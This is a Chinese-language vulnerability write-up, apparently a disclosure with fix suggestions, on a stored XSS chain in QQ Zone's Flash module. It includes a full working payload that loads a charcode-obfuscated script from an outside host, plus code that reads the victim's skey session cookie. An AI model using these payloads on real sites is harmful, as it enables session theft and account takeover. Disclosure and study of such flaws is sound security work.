QQ空間存儲(chǔ)型XSS漏洞的組合利用(圖解)

1. QQ空間某處正則混亂,導(dǎo)致惡意構(gòu)造。
2. QQ空間某文件存在潛在風(fēng)險(xiǎn)
3. 1+2 = 此漏洞
詳細(xì)說(shuō)明:
1. 一開(kāi)始的目標(biāo)是這個(gè)http://b.qzone.qq.com/cgi-bin/custom/modify_custom_window.cgi,這個(gè)頁(yè)面是用來(lái)修改QQ空間模塊內(nèi)容的。這里我選擇提交的是FLASH模塊。 由于此請(qǐng)求,每請(qǐng)求一次都需要輸入一個(gè)驗(yàn)證碼,所以沒(méi)辦法直接在抓包工具里修改并發(fā)送。所以最初是用調(diào)試工具去修改DOM屬性,然后寫自定義值來(lái)一次一次的試,后來(lái)實(shí)在覺(jué)得太麻煩了,就自己臨時(shí)寫了個(gè)小工具。以下測(cè)試均用此工具進(jìn)行,如下,
2. 開(kāi)始試了此請(qǐng)求的幾個(gè)參數(shù)(這里的參數(shù)是指qzml所發(fā)送的xml里的若干屬性,例如width, height ,wmode etc ..),都被過(guò)濾了, 后來(lái)懶么,就把能寫入內(nèi)容的都改成了'\/<>..,結(jié)果側(cè)漏了。。
測(cè)試的qzml請(qǐng)求參數(shù)大概是這樣:encodeURIComponent('<qz:title type="flash" moduleborder="true">xxx</qz:title><div><qz:swf swfsrc=//img.jbzj.com/file_images/article/201206/20120531120436664.gif.swf" _fcksavedurl="//img.jbzj.com/file_images/article/201206/20120531120436664.gif.swf"" _fcksavedurl="//img.jbzj.com/file_images/article/201206/20120531120436664.gif.swf"" width="\'\/<>" height="\'\/<>" loop="\'\/<>" waitforclick="\'\/<>" wmode="\'\/<>"/></div>'.replace(/\s/g,"+")).replace(/%2B/g,"+");
側(cè)漏效果大概如下:(反正是類似這個(gè)效果,懶的回去抓圖了。)
3. 開(kāi)始分析側(cè)漏原因。 發(fā)現(xiàn)height屬性把其它屬性都吞掉了。 于是其它參數(shù)復(fù)原,單個(gè)測(cè)試height,在height里加入單引號(hào)時(shí), 服務(wù)器端的正則貌似就凌亂了。 同樣有此現(xiàn)象的還有swfsrc 。
因?yàn)榉?wù)器那邊是怎么匹配的,不清楚, 于是就開(kāi)始各種構(gòu)造測(cè)試,看服務(wù)器端輸出。
反正測(cè)試了挺久。 具體就不詳述。 因?yàn)榉?wù)器端輸出的embed標(biāo)簽里,總是帶著allowscriptaccess="never",導(dǎo)致我們調(diào)用的FLASH來(lái)執(zhí)行腳本,所以最終目的,就是想用height來(lái)屏蔽掉allowscriptaccess="never" 。
測(cè)試過(guò)程中,出現(xiàn)了以下幾種阻礙。
3A. allowscriptaccess="never" 成功被我們的height 吞掉, 但是src屬性沒(méi)了。服務(wù)器端輸出如下代碼:
<div style="height: 142px;" id="cst_flash"><embed id="flash" height=' src=http://ctc.qzs.qq.com/ac/c.gif.swf _fcksavedurl="http://ctc.qzs.qq.com/ac/c.gif.swf" _fcksavedurl="http://ctc.qzs.qq.com/ac/c.gif.swf" autostart="false" loop="true" invokeurls="false" allownetworking="all" allowscriptaccess="never" wmode="' type="application/x-shockwave-flash" width="'" src="" invokeurls="false" scalemode="noScale" allowscriptaccess='always"' embed="embed" menu="false"></div>
3B. 自己添加了src 屬性, 但是發(fā)現(xiàn)服務(wù)器端又自己加上了allowscriptaccess="never" 。。糾結(jié)了。服務(wù)器端輸出如下代碼:
<div style="height: 142px;" id="cst_flash"><embed id="flash" height="/<> src=http://ctc.qzs.qq.com/ac/c.gif.swf" width='&"34;src = http ' src="/c.swf" allowscriptaccess="never" allownetworking="internal" invokeurls="false" autostart="true" menu="false"> autostart="false" loop="true" invokeurls="false" allownetworking="all" allowscriptaccess="never" wmode="opaque" type="application/x-shockwave-flash" scaleMode="noScale" ></div> chabaoo.cn
4. 對(duì)于各種無(wú)厘頭,有時(shí)候還是要靠運(yùn)氣。 在3B的代碼基礎(chǔ)上,偶然發(fā)現(xiàn),如果src屬性里加了\',就不會(huì)出現(xiàn)問(wèn)題。 所以我們構(gòu)造src地址為/c.swf?1=\'\'\', 這樣就不會(huì)出現(xiàn)allowscriptaccess參數(shù)了。
5. 但是問(wèn)題接著來(lái)了,大家都知道,allowscriptaccess 默認(rèn)是sameDomain的,哪里去找同域下的FLASH啊。 巧合的是,還真有一個(gè)可以用的。 在抓包QQ空間的時(shí)候,瞥見(jiàn)這么一個(gè)FLASH,
http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=QZONE.frontPageAccessory.zoomDetect.onZoomChange
我一瞧, 后面這個(gè)QZONE.frontPageAccessory.zoomDetect.onZoomChange 不就是個(gè)JS函數(shù)么。 于是試了一下。
http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=alert
果然可以彈出啊。 這樣看來(lái),我們可以利用下。 不過(guò)這個(gè)ctc.qzs.qq.com 和 模塊的ctc.qzonestyle.gtimg.cn 還是不是一個(gè)域啊, 但是運(yùn)氣好,恰好, 這2個(gè)域名,貌似資源文件是一樣的,或者有部分是一樣的?ctc.qzonestyle.gtimg.cn 下面也有該FLASH文件。 如下:
http://ctc.qzonestyle.gtimg.cn/qzone/v6/accessory/plugin/zoom.swf?onchange=alert
6. 所以,我們最終可以構(gòu)造出FLASH的src為
/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);s.src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,116,111,111,108,109,97,111,46,99,111,109,47,116,111,111,108,47,113,113,109,97,105,108,46,106,115);document.body.appendChild(s);}&1=\'\'\'\'
其中,前面是FLASH地址,onchange參數(shù)調(diào)用我們自己函數(shù),1=\'\'\'\' 是為了屏蔽掉allowscriptaccess="never"
7. 上面這個(gè)地址我們簡(jiǎn)寫為{SWFURL}, 它是位于height屬性里的,如下
height=""\'/\< src={SWFURL} style=width:/ >"
8. = = 寫不下去了。。 直接上最后的測(cè)試代碼。 有點(diǎn)亂。。有些是測(cè)試殘留,沒(méi)實(shí)際意義,比如里的&"34; 這種。。
"qzml":encodeURIComponent('<qz:title type="flash" moduleborder="true">xxx</qz:title><div><qz:swf swfsrc=//img.jbzj.com/file_images/article/201206/20120531120436664.gif.swf\' ALLOWSCRIPTACCESS autostart=true\'\"\u0009src\u0013=/c.swf / < >" width="&"34;src = http " height=""\'/\< src=/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);s.src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,116,111,111,108,109,97,111,46,99,111,109,47,116,111,111,108,47,113,113,109,97,105,108,46,106,115);document.body.appendChild(s);}&1=\'\'\'\' style=width:/ >" loop="true" waitforclick="true" wmode=""/></div>'.replace(/\s/g,"+")).replace(/%2B/g,"+")
9. 上面代碼會(huì)調(diào)用我自己的網(wǎng)站的JS。 在調(diào)用JS這一步,
目測(cè)IE 應(yīng)該是通殺吧?IE6沒(méi)試過(guò)。vista+IE7, win7+IE8,9 是可以的。
Chrome 也是可以的,需要給加上type="application/x-shockwave-flash" 才行, 沒(méi)去弄,這個(gè)屬性應(yīng)該也是可以加的上的。
10. 到這里, 可以alert, 可以跳轉(zhuǎn)。
IE下的alert
Chrome下的跳轉(zhuǎn)
11. 但是我們親愛(ài)的cookies 沒(méi)辦法彈出來(lái)啊。
原因是,如前所述,模塊的域是ctc.qzonestyle.gtimg.cn ,
而空間的域是qq.com ,沒(méi)有辦法跨域獲取cookies。
不過(guò)好在,QQ空間開(kāi)發(fā)人員為我們準(zhǔn)備好了這一功能, 原理就是在當(dāng)前頁(yè)中,嵌入一個(gè)和父窗口同域的iframe頁(yè)面,來(lái)進(jìn)行通訊。
我們直接調(diào)用QQ空間開(kāi)發(fā)人員寫好的庫(kù),來(lái)獲取cookies,代碼如下:
QZONE.Cross.Client.getInstance().sendInvoke('QZFL.cookie.get', 'skey',function(str){
alert("您的skey是:"+str);
});
效果如下:
需要說(shuō)明的是: 獲取cookies這一步,IE下有效,chrome 貌似錯(cuò)誤了,粗略看了下,對(duì)于跨域請(qǐng)求,Qzone開(kāi)發(fā)人員針對(duì)HTML5和普通的采用的是不同的方案,在chrome下莫名的悲劇了。。 我只是調(diào)用了你們開(kāi)發(fā)人員寫的東西,= = 悲劇別找我,哈哈
修復(fù)方案:
1. 服務(wù)器端在從提交過(guò)去的qzml這段XML里獲取FLASH的屬性時(shí),正則寫錯(cuò)了? 只是猜測(cè)。
2. 目測(cè)服務(wù)器端驗(yàn)證qzml是否合法的正則不夠好, 像width, height 這種參數(shù),直接\d{m,n}就可以吧。 貌似width ,height 屬性里什么東西都可以寫啊。 只在客戶端限制width,height輸入框長(zhǎng)度為3,沒(méi)什么實(shí)際作用的。。其它屬性也一樣,什么wmode只需要true|false 即可。
3. 這個(gè)http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){location='釣魚網(wǎng)站'} 單獨(dú)就是一個(gè)漏洞。
http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=QZONE.frontPageAccessory.zoomDetect.onZoomChange 這個(gè)被利用的flash文件需修改一下。 在FLASH限制一下onchange 參數(shù)的值。
作者 gainover
相關(guān)文章
局域網(wǎng)共享安全方式之用局域網(wǎng)文件共享系統(tǒng)實(shí)現(xiàn)共享文件夾安全設(shè)置
現(xiàn)在很多單位都有文件服務(wù)器,經(jīng)常會(huì)共享文件讓局域網(wǎng)用戶訪問(wèn)。那么,如何才能保護(hù)局域網(wǎng)內(nèi)共享文件夾的安全性呢?下面通過(guò)本文給大家分享局域網(wǎng)共享安全方式之用局域網(wǎng)文2017-05-11- 這篇文章主要介紹了IIS的FastCGI漏洞處理方法,需要的朋友可以參考下2017-04-30
IIS PHP fastcgi模式 pathinfo取值錯(cuò)誤任意代碼執(zhí)行漏洞修復(fù)方法
這篇文章主要介紹了PHP fastcgi模式 pathinfo取值錯(cuò)誤任意代碼執(zhí)行漏洞,需要的朋友可以參考下2017-04-30- IIS短文件名泄露漏洞,IIS上實(shí)現(xiàn)上存在文件枚舉漏洞,攻擊者可利用此漏洞枚舉獲取服務(wù)器根目錄中的文件,這里為大家分享一下安裝方法,需要的朋友可以參考下2017-04-23
用mcafee麥咖啡設(shè)置服務(wù)器基本用戶安全(防止新建用戶與修改密碼)
這篇文章主要介紹了用麥咖啡設(shè)置服務(wù)器基本用戶安全(防止新建用戶與修改密碼),需要的朋友可以參考下2017-02-26防范黑客入侵,關(guān)閉端口封鎖大門 黑客無(wú)法入侵
這篇文章主要介紹了防范黑客入侵,關(guān)閉端口封鎖大門 黑客無(wú)法入侵的相關(guān)資料,需要的朋友可以參考下2016-10-31現(xiàn)代網(wǎng)絡(luò)性能監(jiān)控工具應(yīng)具備何種技能?網(wǎng)絡(luò)與應(yīng)用程序監(jiān)控
大家都知道現(xiàn)在市場(chǎng)上的網(wǎng)絡(luò)性能監(jiān)控工具大有所在,這為現(xiàn)在的IT行業(yè)的人員提供了很多便利,幫助IT管理團(tuán)隊(duì)監(jiān)控網(wǎng)絡(luò)性能,并且?guī)椭鶬T管理人員確定系統(tǒng)性能的瓶頸所在,進(jìn)而2016-10-19- 雖然現(xiàn)在網(wǎng)絡(luò)很發(fā)達(dá),但對(duì)我們普通人而言,也就是10多年的上網(wǎng)歷史,好多人還沒(méi)意識(shí)到信息安全的重要性。那么如何保證自己的上網(wǎng)安全?下面小編為大家分享10條防范自救,一2016-10-12
- 這篇文章主要介紹了遠(yuǎn)離病毒 八項(xiàng)基本原則的相關(guān)資料,需要的朋友可以參考下2016-10-08
- 這篇文章主要介紹了Linux 防范病毒的方法的相關(guān)資料,需要的朋友可以參考下2016-10-08